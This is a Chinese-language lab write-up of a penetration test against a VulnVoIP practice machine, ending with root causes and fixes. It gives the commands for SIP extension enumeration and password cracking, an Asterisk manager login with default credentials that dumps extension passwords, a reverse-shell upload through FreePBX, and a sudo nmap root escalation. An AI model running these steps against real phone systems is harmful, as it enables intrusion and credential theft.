VulnVoIP 靶场渗透测试报告(SIP 与 Asterisk 管理面)

本文为自建靶场环境(Kali 192.168.11.128 → VulnVoIP 靶机 192.168.11.143)的练习记录,非真实业务系统。

执行摘要:目标开放 80(FreePBX Web)与 5038(Asterisk Call Manager)。先用 svmap / svwar / svcrack 做 SIP 资产识别、分机枚举与弱口令爆破,再以 Asterisk 管理接口默认口令 admin/amp111 登录 5038,用 sip show users 拿到全部分机口令;随后进入 FreePBX 后台,利用模块上传(仅允许 .tgz)上传打包后的反弹 shell 取得 shell;最后通过 sudo 配置错误(nmap 免密)提权到 root。

结论:这条链说明”资产测绘不等于只扫网站”——PBX、摄像头、打印机这类非 Web 面常带默认口令,一旦暴露就是现成入口。

信息收集

靶机IP

  • 靶机的IP为192.168.11.143。
1
sudo arp-scan -l

image\.png

端口扫描

  • 扫下端口,80是开的,还有一个5038但服务nmap无法知道。
1
nmap -p- 192.168.11.143

image\.png

  • 既然无法指导服务,我们就专门扫一下5038这个端口。
1
nmap -A -n -p 5038 192.168.11.143

image\.png

  • 上述扫描结果可以看出,5038/tcp 提供 Asterisk Call Manager 1.1。

VoIP(网络电话)

  • VoIP(Voice over Internet Protocol)是一种在IP网络上使用IP协议以数据包的方式传输语音的技术。它允许用户通过因特网、企业内部互连网或局域网实现语音通信。在VoIP网络中,语音信号被数字化、压缩并转换成IP包,然后在IP网络中传输。VoIP信令协议负责建立和取消呼叫,传输用于定位用户及协商能力所需的信息。这项技术的主要优势包括低成本、数据、语音和视频在同一网络上的集成,以及集中式网络上的新服务和对终端用户的简化管理。

svmap(工具)

  • svmap 工具是一款专门用于审计 VoIP(网络电话) 系统的安全扫描工具。它的核心任务是识别网络中存在的 SIP(会话初始协议)服务器,而SIP正是构建大多数VoIP服务(如IP电话、视频会议)的基础通信协议。

  • svmap工具扫一下目标IP。

1
svmap 192.168.11.143

image\.png

svwar

  • svwar是 SIPVicious 工具套件中的一个重要组件,专门用于对基于 SIP(会话初始协议) 的 VoIP 系统进行安全审计。它的核心功能是枚举(发现)PBX(电话交换机系统)上有效的分机号。
Text
1
2
3
4
5
6
7
8
9
-D 使用默认的扩展号去做扫描, 可使用 -e 参数自行指定.
-m用于指定 svwar​ 工具在枚举 SIP 分机号时使用的 SIP 请求方法。这个参数允许你根据目标系统的特性,选择最合适的探测方式。

INVITE -- 为一个新会话发起的信息
ACK -- 邀请应答
BYE -- 关闭一个存在的会话
CANCEL -- 取消所有队列中的请求
OPTIONS -- 确定服务容量
REGISTER -- SIP地点注册
1
svwar -D -m INVITE 192.168.11.143

image\.png

svcrack

  • 对枚举出的分机号进行在线密码破解。

  • 爆破用户密码,2000/password123。

1
svcrack -u 2000 -d rockyou.txt 192.168.11.143

image\.png

渗透阶段

  • 之前扫描出来的5038端口就是Asterisk Call Manager服务,它的默认管理口令为:admin/amp111。telnet远程连接一下。
1
2
3
4
5
telnet 192.168.11.143 5038

action: login
username: admin
secret: amp111

Telnet构造查询指令

  • 使用 Telnet 构造查询指令是进行网络服务调试和测试的一项实用技能。它的核心在于手动模拟客户端与服务器之间的原始网络通信。

  • 刚刚使用了一个预设的 action: login命令,尝试了用户名 admin 和密码 amp111,成功获得了 Response: Success 和 Authentication accepted 的响应。这是一个关键突破,意味使用了正确的(很可能是默认或弱)凭据,获得了该系统的管理权限。

  • 登陆后,使用 sip show users 命令。这个命令列出了Asterisk系统中所有SIP用户的核心机密信息,包括:

    • 分机号/用户名 (如 100, 101, 2000)

    • 明文或哈希后的密码 (如 s3cur3, letmein123, password123)

    • 这些是进行SIP注册攻击、语音钓鱼(Vishing)、或拨打非法长途电话的直接凭据。

1
2
action: command
command: sip show users

image\.png

  • 进一步使用 voicemailuserslist 命令。这枚举了语音信箱用户的配置详情,例如:

    • 语音信箱号码 (2000) 对应实体 (Support)。

    • 设置参数(如最大消息长度、是否可以审查消息等)。这些信息可用于后续的语音信箱滥用或社会工程学攻击。

1
action: voicemailuserslist

image\.png

下载X-Lite

  • 拿到网页后台账号密码:support:securesupport123。

RCE

  • 进入到管理页面在/admin/config.php?display=modules&type=tool&extdisplay=upload页面下可以进行文件上传,但是它限制了格式,只能用tgz或者tar.gz格式的文件。

image\.png

  • 这两个文件格式是linux系统压缩文件的格式,所以用指令将写好的反弹shell放在文件夹中打包(命名格式是网站要求的,不按照这个格式会报错)。
1
tar -czvf shell-1.0.tgz shell

image\.png

  • 上传成功。

image\.png

  • 现在不知道文件上传到了哪里,所以扫描一下目录。
1
dirb http://192.168.11.143/admin/ 

image\.png

  • 发现上传的文件就在/admin/modules/目录下。

image\.png

image\.png

  • kali开启监听后打开反弹shell。
1
nc -lvnp 9999

image\.png

提权阶段

  • python升级为交互式终端。
1
python -c 'import pty;pty.spawn("/bin/bash")' 

image\.png

  • 查看用户权限:sudo -l 显示 nmap 与 yum 可免密执行(NOPASSWD),属于典型的 sudo 授权过宽。
1
sudo -l

image\.png

  • 使用 nmap 交互模式提权(--interactive 在较新版本 nmap 中已被移除,这台靶机是旧版本环境)。
1
sudo nmap --interactive

image\.png

  • 模拟shell会话环境,!用来告诉nmap这是一个系统命令。
1
!sh

image\.png

  • 提权成功。
1
id

image\.png

总结与修复建议

根因

  1. Asterisk 管理接口(5038)使用默认口令 admin/amp111,且直接对业务网开放;
  2. SIP 分机号可被枚举,分机口令为弱口令,可被在线爆破;
  3. FreePBX 模块上传只校验压缩包后缀、不校验包内容,解压后的 PHP 文件落在 /admin/modules/ 且可被直接访问执行;
  4. sudo 允许普通用户免密执行 nmap / yum,等于变相给出 root(旧版 nmap 的 --interactive 能逃逸出 shell)。

修复

  • 5038 / 5060 / 5080 等管理与信令端口不对公网开放,改强口令并启用来源 ACL;
  • 分机口令强制复杂度 + 登录失败锁定,关闭分机枚举;
  • 模块上传校验包内容与签名,上传目录禁止脚本执行,解压产物不可被 Web 直接访问;
  • 收紧 sudoers:禁止免密执行 nmap、yum 等可逃逸命令(根因是授权过宽,不只是 nmap 版本问题)。